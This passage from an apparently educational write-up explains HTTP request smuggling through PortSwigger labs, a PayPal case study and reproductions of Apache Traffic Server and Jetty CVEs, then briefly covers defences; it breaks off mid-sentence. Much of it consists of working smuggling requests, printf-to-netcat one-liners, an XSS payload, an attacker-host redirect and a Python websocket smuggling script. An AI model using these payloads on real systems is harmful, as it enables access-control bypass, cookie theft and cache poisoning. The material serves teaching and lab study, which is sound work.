reproduce.\nBypass Front-end Security Controls Two experimental environments are provided here. One is CL-TE Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability and the othter is TE-CL Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability.The two experiments finally achieved the same goal. Here we randomly choose CL-TE for experiments.\nThis lab involves a front-end and back-end server, and the front-end server doesn\u0026rsquo;t support chunked encoding. There\u0026rsquo;s an admin panel at /admin, but the front-end server blocks access to it.\nTo solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.\nThe architecture is the same, but this time we need to use HTTP Smuggling to obtain admin permissions and delete the carlos user.\nAfter we generate the LAB, if we directly access /admin, we will find\u0026quot;Path / admin is blocked\u0026quot;. It seems that we cannot access /admin through normal methods. Then we try HTTP Smuggling and send the following data packet twice.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST / HTTP/1.1 Host: ac211ffb1eae617180910ebc00fc00f4.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: session=KmHiNQ45l7kqzLTPM6uBMpcgm8uesd5a Content-Length: 28 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 The response obtained is as follows.\nYou can see that the second request we got the response of /admin\n1 2 3 \u0026lt;div class=\u0026#34;container is-page\u0026#34;\u0026gt; Admin interface only available if logged in as an administrator, or if requested as localhost \u0026lt;/div\u0026gt; So we add the HOST header and send it again a few times\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST / HTTP/1.1 Host: ac211ffb1eae617180910ebc00fc00f4.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: session=KmHiNQ45l7kqzLTPM6uBMpcgm8uesd5a Content-Length: 45 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: localhost We can see that the content of the /admin panel. If it dosen\u0026rsquo;t work, you can send it a few times.\nWe got the deleted api, so we can use HTTP Smuggling to access this /admin/delete?username=carlos, and construct the following data packet.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST / HTTP/1.1 Host: ac211ffb1eae617180910ebc00fc00f4.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: session=KmHiNQ45l7kqzLTPM6uBMpcgm8uesd5a Content-Length: 63 Transfer-Encoding: chunked 0 GET /admin/delete?username=carlos HTTP/1.1 Host: localhost This attack method is similar to HTTP SSRF. The main point is to control the value of CL. For example, the value of CL in the first packet is 28, which is calculated as follows:\n1 2 3 4 0\\r\\n\t--\u0026gt; 3 bytes \\r\\n\t--\u0026gt; 2 bytes GET /admin HTTP/1.1\\r\\n\t--\u0026gt; 19+2 = 21 bytes \\r\\n\t--\u0026gt; 2 bytes So it is 3+2+21+2 = 28 bytes in total.\nThe situation of TE-CL is similar, so the example will not be repeated here.\nRevealing Front-end Request Rewriting In some network environments, the front-end proxy server does not forward the request directly to the back-end server after receiving the request. Instead, it adds some necessary fields and then forwards it to the back-end server. These fields are required by the backend server to process the request, such as:\n- Describe the protocol name and password used by the TLS connection - XFF header containing the user\u0026rsquo;s IP address - User\u0026rsquo;s session token ID\nIn short, if we can\u0026rsquo;t get the fields added or rewritten by the proxy server, our smuggled past requests can\u0026rsquo;t be processed correctly by the backend server. So how do we get these values? PortSwigger provides a very simple method, mainly in three major steps:\n- Find a POST request that can output the value of the request parameter to the response - Put the special parameter found in the POST request at the end of the message. - Then smuggle this request and then send a normal request directly, and some fields that the front-end server rewrites for this request will be displayed.\nSometimes the Front server adds some request headers to the forwarded request and forwards them to the Backend server. We can use HTTP Smuggling to leak these request headers. We also use LAB to understand. Lab: Exploiting HTTP request smuggling to reveal front-end request rewriting\nThis lab involves a front-end and back-end server, and the front-end server doesn\u0026rsquo;t support chunked encoding.\nThere\u0026rsquo;s an admin panel at /admin, but it\u0026rsquo;s only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It\u0026rsquo;s similar to the X-Forwarded-For header but has a different name.\nTo solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user carlos.\nAccording to the title hint here, the scene is a CL-TE scene and a search box is given. We try to search for a 123 at will. We can find that the search result \u0026ldquo;123\u0026rdquo; is directly echoed into the corresponding one.\nAttempted access using HTTP Smuggling, but was blocked.\nBut we can try to use the search echo to leak the request header forwarded by the Front server:\nIf you only add the X-*-Ip request header later, you cannot access the admin panel, because this will make Backend receive two duplicate request headers. In this scenario, the Backend server judges the duplicate request headers.\nSo we need to \u0026ldquo;hide\u0026rdquo; the request headers added by the Front server, we can use Smuggling to \u0026ldquo;hide\u0026rdquo; the request headers added by other Front servers, and then we can get the admin panel.\nThe whole process looks relatively simple, but if you do it carefully, you will find the CL value is quite important. Let\u0026rsquo;s take a look at how the CL value of the packet requested by the Front is calculated:\n1 2 3 4 5 6 7 0\\r\\n\t--\u0026gt;\t3 bytes \\r\\n\t--\u0026gt; 2 bytes POST / HTTP/1.1\\r\\n\t--\u0026gt;\t17 bytes Content-Length: 70\\r\\n\t--\u0026gt;\t20 bytes Content-Type: application/x-www-form-urlencoded\\r\\n\t--\u0026gt;\t49 bytes \\r\\n\t--\u0026gt; 2 bytes search=123\t--\u0026gt; 10 bytes There are 103 bytes in total. And the CL here may not be 70. Here, we only control how many bytes are leaked.\nAnother thing to note is that if you don\u0026rsquo;t add a Content-Type field, you need to add a CRLF at the end, otherwise it will return 400.\nCapturing other users\u0026rsquo; requests Now that we can get middleware requests, of course, we can also try to get requests from other users, and also get cookies, etc. Lab: Exploiting HTTP request smuggling to capture other users\u0026rsquo; requests\nThis lab involves a front-end and back-end server, and the front-end server doesn\u0026rsquo;t support chunked encoding.\nTo solve the lab, smuggle a request to the back-end server that causes the next user\u0026rsquo;s request to be stored in the application. Then retrieve the next user\u0026rsquo;s request and use the victim user\u0026rsquo;s cookies to access their account.\nThe principle is relatively simple. We can find a place to send a comment, and then use the comment to perform HTTP Smuggling. For example, we can construct the following request packet.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST / HTTP/1.1 Host: ac951f7d1e9ea625803c617f003f005c.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: session=ipRivKyVnK41ZGBQk7JvtKjbD4drk2At Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 271 Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 600 Cookie: session=ipRivKyVnK41ZGBQk7JvtKjbD4drk2At csrf=oIjWmI8aLjIzqX18n5mNCnJieTnOVWPN\u0026amp;postId=5\u0026amp;name=1\u0026amp;email=1%40qq.com\u0026amp;website=http%3A%2F%2Fwww.baidu.com\u0026amp;comment=1 As long as the later CL is large enough, we can use HTTP Smuggling to stitch the next user\u0026rsquo;s request into our last comment parameter, and then we can see the request header of others when we look at the comment.\nExploit Reflected XSS This usage scenario may be limited and rare, but if HTTP Smuggling \u0026amp; reflected XSS exists, we can combinate two methods to leak others\u0026rsquo; cookies.\nThis lab involves a front-end and back-end server, and the front-end server doesn\u0026rsquo;t support chunked encoding.\nThe application is also vulnerable to reflected XSS via the User-Agent header.\nTo solve the lab, smuggle a request to the back-end server that causes the next user\u0026rsquo;s request to receive a response containing an XSS exploit that executes alert(1).\nStill in the CL-TE, we can find a reflection XSS at the UA, but this is useless, so we have to find some way to upgrade the hazard.\nWe can construct the following packets, just send them once.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST / HTTP/1.1 Host: ac811f011e27d43b80301693005a0007.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: session=iSxMvTrkiVN2G5N7EF7MTKgXGRE6A5xZ Upgrade-Insecure-Requests: 1 Content-Length: 150 Transfer-Encoding: chunked 0 GET /post?postId=5 HTTP/1.1 User-Agent: \u0026#34;\u0026gt;\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt; Content-Type: application/x-www-form-urlencoded Content-Length: 5 x=1 Then we casually visit any page on the site and it will alert(1) because our request is embedded in the second request above.\nTurn An On-Site Redirect Into An Open Redirect This attack scenario is when the target uses a 30x code to redirect and uses the Host header to redirect. For example, we send following requests.\n1 2 GET /home HTTP/1.1 Host: normal-website.com We will get responses.\n1 2 HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/ It looks harmless, but if we cooperate with HTTP Smuggling, it will be a problem. Such as:\n1 2 3 4 5 6 7 8 9 10 POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 54 Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: X The subsequent requests after smuggling look like this:\n1 2 3 4 GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com Then if the server redirects according to the Host header, we will get the following response.\n1 2 HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/ In this way, the user who visits /scripts/include.js will be redirected to the URL we control.\nPerform Web Cache Poisoning This scenario is also based on the Host redirect attack scenario above. If the Front server still has cache static resources, we can cooperate with HTTP Smuggling to perform cache poisoning. Lab: Exploiting HTTP request smuggling to perform web cache poisoning\nThis lab involves a front-end and back-end server, and the front-end server doesn\u0026rsquo;t support chunked encoding. The front-end server is configured to cache certain responses.\nTo solve the lab, perform a request smuggling attack that causes the cache to be poisoned, such that a subsequent request for a JavaScript file receives a redirection to the exploit server.\nThis environment is also a scenario where the host can be modified to redirect, and the /post/next?postId=2 route redirect to /post?postId=4.\nAccording to the description of the call, we need to implement cache poisoning. For example, here we choose /resources/js/tracking.js for poisoning. LAB also gives us a service for manufacturing poisoning, so we can set the following settings.\nSend the following packets once.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST / HTTP/1.1 Host: ac7a1f141fadd93d801c469f005500bf.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: session=f6c7ZBB52a6iedorGSywc8jM6USu4685 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 178 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: ac701fe61fabd97b8027465701f800a8.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1 Then visit /resources/js/tracking.js:\nWe can see that the redirect address of the response packet has been changed to the our exploit address, and then we visit the normal server homepage.\nWe can alert(1) !\nThe entire process can be understood using the following processes.\n1 2 3 4 5 6 7 8 9 10 11 12 13 Innocent Attacker Front Backend | | | | | |--A(1A+1/2B)--\u0026gt;| | | | |--A(1A+1/2B)--\u0026gt;| | | |\u0026lt;-A(200)-------| | | | [1/2B] | |\u0026lt;-A(200)-------| [1/2B] | |--C-----------\u0026gt;| [1/2B] | | |--C-----------\u0026gt;| * ending B * | | [*CP*]\u0026lt;--B(200)----| | |\u0026lt;--B(200)------| | |--C---------------------------\u0026gt;| | |\u0026lt;--B(200)--------------------[HIT] | 1A + 1/2B means request A + an incomplete query B A(X) : means X query is hidden in body of query A CP : Cache poisoning Similar to the previous flowchart, because /resources/js/tracking.js requested in C will be cached by Front as a static resource, and we use HTTP Smuggling to direct this request to our exploit server and returnalert(1) to request C, and then this response packet will be cached by the Front server, so we have successfully poisoned.\nPerform Web Cache Deception In fact, this scenario is similar to cache poisoning, but with a slight difference. According to more official statements, cache cheating and cache poisoning have the following differences.\nWhat is the difference between web cache poisoning and web cache deception?\n- In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users. - In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.\nThis we do not cooperate with Lab. Because the environment provided by Lab maybe not work correctly.\nBut we can do like this to understand easily. We send the following HTTP request.\n1 2 3 4 5 6 7 8 9 POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 43 Transfer-Encoding: chunked 0 GET /private/messages HTTP/1.1 Foo: X The smuglling request will use Foo: X to hide the first line of the next request header sent, which is the line GET /xxx HTTP/1.1, and this request will be accessed with the user\u0026rsquo;s cookie. Similar to a CSRF, the request becomes the following request header.\n1 2 3 4 GET /private/messages HTTP/1.1 Foo: XGET /static/some-image.png HTTP/1.1 Host: vulnerable-website.com Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z As long as we send more times, once the user accesses the static resource, it may be cached by the Front server, and we can get the information of the user /private/messages. There may be a lot of repeated packet sending here, because you need to construct a static resource cache, or you need some luck.\nSo far, the basic attack surface of HTTP Smuggling has been introduced.\nReal World Paypal First of all, I have to talk about the Paypal vulnerability instance shared by the author of HTTP Smuggling on Black Hat this year.\nThe author first poisoned a js file for Paypal login through HTTP Smuggling.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1 Host: c.paypal.com Content-Length: 61 Transfer-Encoding: chunked 0 GET /webstatic HTTP/1.1 Host: skeletonscribe.net? X: XGET /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1 Host: c.paypal.com Connection: close HTTP/1.1 302 Found Location: http://skeletonscribe.net?, c.paypal.com/webstatic/ But the Paypal login page has a CSP rule script-src which block this redirect.\nLater, the author noticed that the login page loads a sub-page on c.paypal.com in a dynamically generated iframe. This sub-page didn\u0026rsquo;t use CSP and also used a js file poisoned by the author! Although this can control the iframe page, because of the same-origin policy, the data of the parent page cannot be read.\nHis colleague then discovered a page at paypal.com/us/gifts that didn\u0026rsquo;t use CSP, and also imported his poisoned JS file. By using his JS to redirect the c.paypal.com iframe to that URL (and triggering our JS import for the third time) he could finally access the parent and steal plaintext PayPal passwords from everyone who logged in using Safari or IE.\nPaypal\u0026rsquo;s first fix was to modify the Akamai configuration to reject requests containing Transfer-Encoding: chunked. But the author bypassed it quikly by constructing a newline header.\n1 2 Transfer-Encoding: chunked ATS ​\tApache Traffic Server (ATS) is an efficient, scalable HTTP proxy and cache server for the Apache Software Foundation.\nThere are multiple HTTP smuggling and cache poisoning issues when clients making malicious requests interact with Apache Traffic Server (ATS). This affects versions 6.0.0 to 6.2.2 and 7.0.0 to 7.1.3.\nIn NVD, we can find four patches for this vulnerability, so let\u0026rsquo;s take a closer look.\nCVE-2018-8004 Patch list:\nhttps://github.com/apache/trafficserver/pull/3192\nhttps://github.com/apache/trafficserver/pull/3201\nhttps://github.com/apache/trafficserver/pull/3231\nhttps://github.com/apache/trafficserver/pull/3251\nNote: Although the vulnerability notification describes the scope of the vulnerability to version 7.1.3, from the version of the patch archive on github, most of the vulnerabilities have been fixed in version 7.1.3.\nAbout the analysis and recurrence of these four patches, I think @mengchen has already written very detailed, I will not repeat to talk about them. It is recommended to read the original part HTTP Smuggling Attack Example——CVE-2018-8004.\nHere we talk about the part that is not in the original text.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 [dummy-host7.example.com] | +-[8080]-----+ | 8007-\u0026gt;8080 | | ATS7 | | | +-----+------+ | | +--[80]----+ | 8002-\u0026gt;80 | | Nginx | | | +----------+ We build the above scenario, and we can use the docker experimental environment I built. Here is lab1\nRequest Splitting using Huge Header We can experiment by using a header of 65535 characters.For example, we can send a request which have got a header of 65535 characters to ATS 7 by using the following code.\n1 2 3 4 5 6 7 8 printf \u0026#39;GET_/something.html?zorg2=5_HTTP/1.1\\r\\n\u0026#39;\\ \u0026#39;Host:_dummy-host7.example.com\\r\\n\u0026#39;\\ \u0026#39;X:_\u0026#34;%65534s\u0026#34;\\r\\n\u0026#39;\\ \u0026#39;GET_http://dummy-host7.example.com/index.html?replaced=0\u0026amp;cache=8_HTTP/1.1\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ |tr \u0026#34; \u0026#34; \u0026#34;1\u0026#34;\\ |tr \u0026#34;_\u0026#34; \u0026#34; \u0026#34;\\ |nc -q 1 127.0.0.1 8007 Nginx will directly return a 400 code error, but it is more interesting with ATS 7. We will get a 400 response and a 200 response from ATS 7.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 HTTP/1.1 400 Invalid HTTP Request Date: Fri, 29 Nov 2019 18:52:42 GMT Connection: keep-alive Server: ATS/7.1.1 Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 220 \u0026lt;HTML\u0026gt; \u0026lt;HEAD\u0026gt; \u0026lt;TITLE\u0026gt;Bad Request\u0026lt;/TITLE\u0026gt; \u0026lt;/HEAD\u0026gt; \u0026lt;BODY BGCOLOR=\u0026#34;white\u0026#34; FGCOLOR=\u0026#34;black\u0026#34;\u0026gt; \u0026lt;H1\u0026gt;Bad Request\u0026lt;/H1\u0026gt; \u0026lt;HR\u0026gt; \u0026lt;FONT FACE=\u0026#34;Helvetica,Arial\u0026#34;\u0026gt;\u0026lt;B\u0026gt; Description: Could not process this request. \u0026lt;/B\u0026gt;\u0026lt;/FONT\u0026gt; \u0026lt;HR\u0026gt; \u0026lt;/BODY\u0026gt; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 HTTP/1.1 200 OK Server: ATS/7.1.1 Date: Fri, 29 Nov 2019 18:52:42 GMT Content-Type: text/html Content-Length: 119 Last-Modified: Fri, 29 Nov 2019 05:37:09 GMT ETag: \u0026#34;5de0ae85-77\u0026#34; X-Location-echo: /index.html?replaced=0\u0026amp;cache=8 X-Default-VH: 0 Cache-Control: public, max-age=300 Accept-Ranges: bytes Age: 0 Connection: keep-alive \u0026lt;html\u0026gt;\u0026lt;head\u0026gt;\u0026lt;title\u0026gt;Nginx default static page\u0026lt;/title\u0026gt;\u0026lt;/head\u0026gt; \u0026lt;body\u0026gt;\u0026lt;h1\u0026gt;Hello World\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;It works!\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; Jetty Jetty has three CVEs related to HTTP Smuggling.\nCVE-2017-7656 HTTP/0.9 issue\nIn Eclipse Jetty, versions 9.2.x and older, 9.3.x (all configurations), and 9.4.x (non-default configuration with RFC2616 compliance enabled), HTTP/0.9 is handled poorly. An HTTP/1 style request line (i.e. method space URI space version) that declares a version of HTTP/0.9 was accepted and treated as a 0.9 request. If deployed behind an intermediary that also accepted and passed through the 0.9 version (but did not act on it), then the response sent could be interpreted by the intermediary as HTTP/1 headers. This could be used to poison the cache if the server allowed the origin client to generate arbitrary content in the response. CVE-2017-7657 Chunk size attribute truncation\nIn Eclipse Jetty, versions 9.2.x and older, 9.3.x (all configurations), and 9.4.x (non-default configuration with RFC2616 compliance enabled), transfer-encoding chunks are handled poorly. The chunk length parsing was vulnerable to an integer overflow. Thus a large chunk size could be interpreted as a smaller chunk size and content sent as chunk body could be interpreted as a pipelined request. If Jetty was deployed behind an intermediary that imposed some authorization and that intermediary allowed arbitrarily large chunks to be passed on unchanged, then this flaw could be used to bypass the authorization imposed by the intermediary as the fake pipelined request would not be interpreted by the intermediary as a request. CVE-2017-7658 Double Content-Length\nIn Eclipse Jetty Server, versions 9.2.x and older, 9.3.x (all non HTTP/1.x configurations), and 9.4.x (all HTTP/1.x configurations), when presented with two content-lengths headers, Jetty ignored the second. When presented with a content-length and a chunked encoding header, the content-length was ignored (as per RFC 2616). If an intermediary decided on the shorter length, but still passed on the longer body, then body content could be interpreted by Jetty as a pipelined request. If the intermediary was imposing authorization, the fake pipelined request would bypass that authorization. For CVE-2017-7658, we will not explore it anymore, because as mentioned before, we mainly talk about the other two more interesting places.\nHTTP/0.9 Environment can still use what I built jetty lab enviroment. Then we send a standard HTTP / 0.9 request as follows.\n1 printf \u0026#39;GET /?test=4564\\r\\n\u0026#39;|nc -q 1 127.0.0.1 8994 We will get a 400 code response.\n1 2 3 4 5 6 7 HTTP/1.1 400 HTTP/0.9 not supported Content-Type: text/html;charset=iso-8859-1 Content-Length: 65 Connection: close Server: Jetty(9.4.9.v20180320) \u0026lt;h1\u0026gt;Bad Message 400\u0026lt;/h1\u0026gt;\u0026lt;pre\u0026gt;reason: HTTP/0.9 not supported\u0026lt;/pre\u0026gt; We add the version identifier.\n1 printf \u0026#39;GET /?test=4564 HTTP/0.9\\r\\n\\r\\n\u0026#39;|nc -q 1 127.0.0.1 8994 Although this is a format that is not supported by HTTP/0.9, there are unexpected gains, with a 200 response.\n1 2 3 4 5 6 7 8 \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Sample \u0026#34;Hello, World\u0026#34; Application\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body bgcolor=white\u0026gt; \u0026lt;table border=\u0026#34;0\u0026#34;\u0026gt; \u0026lt;tr\u0026gt; ... No headers, only body. This request was parsed by HTTP/0.9.\nWhat\u0026rsquo;s more interesting is that adding headers not supported by HTTP/0.9 will have unexpected results. Here we add a header that extracts the content of the response packet.\n1 2 3 4 5 6 printf \u0026#39;GET /?test=4564 HTTP/0.9\\r\\n\u0026#39;\\ \u0026#39;Range: bytes=36-42\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ |nc -q 1 127.0.0.1 8994 , World We will find that the body content has been extracted by us. Combined with the HTTP Response Splitting in HTTP Version part mentioned above, we can perform various fancy attacks.\nChunk size attribute truncation We send the request with the following code.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 printf \u0026#39;POST /?test=4973 HTTP/1.1\\r\\n\u0026#39;\\ \u0026#39;Transfer-Encoding: chunked\\r\\n\u0026#39;\\ \u0026#39;Content-Type: application/x-www-form-urlencoded\\r\\n\u0026#39;\\ \u0026#39;Host: localhost\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;100000000\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;POST /?test=4974 HTTP/1.1\\r\\n\u0026#39;\\ \u0026#39;Content-Length: 5\\r\\n\u0026#39;\\ \u0026#39;Host: localhost\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;0\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ |nc -q 1 127.0.0.1 8994|grep \u0026#34;HTTP/1.1\u0026#34; Then we can get two 200 responses. But according to the standard of the chunk, although the second part looks like a request, it should actually be counted in the chunk data. The problem is here. Jetty returned two requests. 100000000 is treated as 0, which is the chunk end part, so there are two reasons for the request.\nWe can try more.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 printf \u0026#39;POST /?test=4975 HTTP/1.1\\r\\n\u0026#39;\\ \u0026#39;Transfer-Encoding: chunked\\r\\n\u0026#39;\\ \u0026#39;Content-Type: application/x-www-form-urlencoded\\r\\n\u0026#39;\\ \u0026#39;Host: localhost\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;1ff00000008\\r\\n\u0026#39;\\ \u0026#39;abcdefgh\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;0\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;POST /?test=4976 HTTP/1.1\\r\\n\u0026#39;\\ \u0026#39;Content-Length: 5\\r\\n\u0026#39;\\ \u0026#39;Host: localhost\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;0\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ |nc -q 1 127.0.0.1 8994|grep \u0026#34;HTTP/1.1\u0026#34; Here we still get two 200 responses, that is, the first chunk size 1ff00000008 was truncated to 8 by jetty. The chunk data part only has abcdefgh, so two responses are returned.\nSimilar to Apache CVE-2015-3183, jetty will only take the last 8 bytes of chunk size:\n1 2 3 4 5 6 7 ffffffffffff00000000\\r\\n ^^^^^^^^ 00000000 =\u0026gt; size 0 1ff00000008\\r\\n ^^^^^^^^ 00000008 =\u0026gt; size 8 Websocket In fact, this part can be used as a separate part, but I think this article is so long, so we just talk about a brief introduction. In Hackactivity 2019, @0ang3el proposed Websocket-related attack techniques [What\u0026rsquo;s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs](Https://www.slideshare.net/0ang3el/whats-wrong-with-websocket- apis-unveiling-vulnerabilities-in-websocket-apis), what interests me is the part of Websocket Smuggling. The author disclosure the relevant description in websocket-smuggle.\nWhat is this attack surface? To sum up for you, when the connection is established in the websocket, if the reverse proxy does not fully comply with the RFC 6445 standard, the Sec-WebSocket-Version version is not handled properly. The connection between the client and the back-end server TCP/TLS won\u0026rsquo;t be closed, so it cause an attack that we could conduct a smuglling request.\nHere we assume that the solr service exists on the internal network and cannot be accessed from the external network. If websocket smuggling exists, we can write the following code to access the solr service.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import socket req1 = \u0026#34;\u0026#34;\u0026#34;GET /socket.io/?EIO=3\u0026amp;transport=websocket HTTP/1.1 Host: ip:port Sec-WebSocket-Version: 1338 Upgrade: websocket \u0026#34;\u0026#34;\u0026#34;.replace(\u0026#39;\\n\u0026#39;, \u0026#39;\\r\\n\u0026#39;) req2 = \u0026#34;\u0026#34;\u0026#34;GET /solr/##/ HTTP/1.1 Host: localhost:8983 \u0026#34;\u0026#34;\u0026#34;.replace(\u0026#39;\\n\u0026#39;, \u0026#39;\\r\\n\u0026#39;) def main(netloc): host, port = netloc.split(\u0026#39;:\u0026#39;) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, int(port))) sock.sendall(req1) sock.recv(4096) sock.sendall(req2) ## print req2 data = sock.recv(4096) data = data.decode(errors = \u0026#39;ignore\u0026#39;) print(data) data = sock.recv(4096) data = data.decode(errors = \u0026#39;ignore\u0026#39;) print(data) sock.shutdown(socket.SHUT_RDWR) sock.close() if __name__ == \u0026#34;__main__\u0026#34;: main(\u0026#39;ip:port\u0026#39;) Golang This is an interesting part. It was fuzzed at the beginning of October. Finally, I decided to test caddy , and took it to fuzz. Because I was lazy, I used the environment on the docker hub [caddy](https: //hub.docker. com/r/abiosoft/caddy).\nSo, here we are.\nI was very happy at the time, thinking that getting a CVE was so simple. Because it is smiliar with Netty CVE , It could also produce a parsing difference. Then I and the mentor carefully explored the reason for this, followed the code, and found that it may be the cause of a native library in Golang.\nI was happy at the time, and quickly searched how to raise an issue with Golang. But then I carefully worked on it for a while. I found that this issue had been mentioned on September 27 net / http: invalid headers are normalized, allowing request smuggling, Golang also fixed the issue in version 1.13.1.\nIt\u0026rsquo;s unhappy to miss a CVE. : (\nBut at present(11/27) the caddy environment on dockerhub still has this problem, use it with caution!\nSomething Else There are related vulnerabilities disclosed on hackerone. Here are a few articles.\nWrite up of two HTTP Requests Smuggling\nHTTP Request Smuggling (CL.TE)\nHTTP Request Smuggling on vpn.lob.com\nDefence We\u0026rsquo;ve known the harm of HTTP request smuggling, and we will question: how to prevent it? There are three general defenses (not specific to a particular server).\n- Disable TCP connection reuse between the proxy server and the back end server. - Use the HTTP/2 protocol. - The front and back ends use the same server.\nSome of the above measures can not solve the problem fundamentally, and there are many shortcomings, such as disabling TCP connection reuse between the proxy server and the back-end server, which will increase the pressure on the back-end server. Using HTTP/2 can\u0026rsquo;t be promoted under the current network conditions, even if the server supporting HTTP/2 protocol is compatible with HTTP/1.1. In essence, the reason for HTTP request smuggling is not the problem of protocol design, but the problem of different server implementations. I personally think that the best solution is to strictly implement the standards specified in RFC7230-7235, but this is the most difficult to achieve.\nHowever, I have read a lot of attack articles which all did not mention why HTTP/2 can prevent HTTP Smuggling. The original author also mentioned in a sentence.\nUse HTTP/2 